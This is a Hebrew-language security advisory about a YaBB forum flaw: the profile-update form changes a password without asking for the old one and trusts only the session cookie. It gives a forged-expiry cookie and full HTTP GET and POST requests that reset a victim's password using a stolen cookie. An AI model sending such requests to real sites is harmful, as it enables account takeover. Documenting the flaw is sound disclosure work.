שיטה לא בטוחה לעדכון פרופיל המשתמש במערכת



מערכת הפורומים מכינה טופס (form) המשמש לעדכון פרטי המשתמש. הססמא הקודמת של המשתמש איננה נדרשת על ידי YaBB, כאשר המשתמש מבקש לשנות ססמא. הבדיקה שהמשתמש הוא משתמש תקף נעשית על ידי בדיקת ה-cookie של אותו משתמש.

מכאן, אם לתוקף יש cookie של משתמש כלשהו בפורומים, הוא מסוגל לשנות את הססמא שלו.



סימונים

  • USERNAME - שם המשתמש אליו אליו אנו פורצים.
  • USERNAME COOKIE - ה-cookie השייכת ל-USERNAME.



מבנה ה-cookie של YaBB

מבנה ה-cookie של YaBB הוא מהצורה הבאה:

Cookie: YaBBusername=<USERNAME>; YaBBpassword=ys6bPWmp44PXA; expiretime=1034304354

נשים לב שאחד מהשדות מציין מתי פוקע תוקף ה-cookie. תוקף יכול לשנות את ססמת הקורבן, אפילו אם זמן פקיעת ה-cookie עבר. כל שעליו לעשות הוא לשנות את ה-cookie בצורה הבאה:

Cookie: YaBBusername=<USERNAME; YaBBpassword=ys6bPWmp44PXA;

expiretime=9999999999

במקרה זה, ה-cookie יהיה תקף תמיד.



ניצול השרת לשינוי סיסמת המשתמש לססמא חדשה

ראשית, אם התוקף רוצה לשנות רק את ססמת המשתמש ולא את כל הפרטים שלו, הוא צריך לקבל את פרטי המשתמש מהשרת. לאחר שהתוקף יקבל את פרטים אלו, הוא יוסיף אותם לבקשת ה-POST שתורכב על מנת לשנות את ססמת המשתמש. (בקשת ה-POST תכלול גם את ה-cookie הגנובה).

על מנת למצוא את פרטי המשתמש, נשלח את הבקשה הבאה אל השרת:

GET /forums/index.php?board=;action=profile;user=<USERNAME> HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-powerpoint, application/vnd.ms-excel,
application/msword, */*
Accept-Language: en-us
Cookie: <USERNAME COOKIE>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Host: www.victim.com

Proxy-Connection: Keep-Alive

השרת יחזיר טופס עם הפרטים של USERNAME, וכן יאפשר לתוקף לשנות אותם. נשים לב לעובדה שהטופס לא שואל את המשתמש לססמא הקודמת שלו, ולא בודק דבר זולת ה-cookie על מנת לוודא שזהו משתמש תקף. כעת, נשלח בקשת POST על מנת לשנות את ססמא המשתמש.

בקשת ה-POST תראה דומה לבקשה הבאה:

POST /forums/index.php?board=;action=profile2 HTTP/1.1
Accept: application/vnd.ms-powerpoint, application/vnd.ms-excel,
application/msword, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
TUCOWS; YComp 5.0.0.0)
Host: www.victim.com
Content-Length: 286
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: <USERNAME COOKIE>
userID=666&user=<USERNAME>&passwrd1=HaCkEd&passwrd2=HaCkEd&name=<USERNAME>&email=victim@hotmail.com&gender=&bday1=00&bday2=00&bday3=0000&location=&websitetitle=&websiteurl=&icq=3&aim=&msn=&yim=&usertext=&hideemail=on&usertimeformat=&usertimeoffset=0&signature=&secretQuestion=&secretAnswer=&moda=1

הפרטים שהתוקף קובע הם אלו שהוא קיבל קודם לכן בבקשת ה-GET. נשים לב שהשדה userID הוא שדה מוסתר. כמו כן, נשים לב לשדות passwrd1, passwrd2 שהתוקף שולח לשרת. הערך בשדות אלו הוא הססמא החדשה שתהיה למשתמש. בדוגמא לעיל, אנו משנים את הססמא להיות HaCkEd.

תגיות המסמך:

אין תגובות!
שיתוף:
| עוד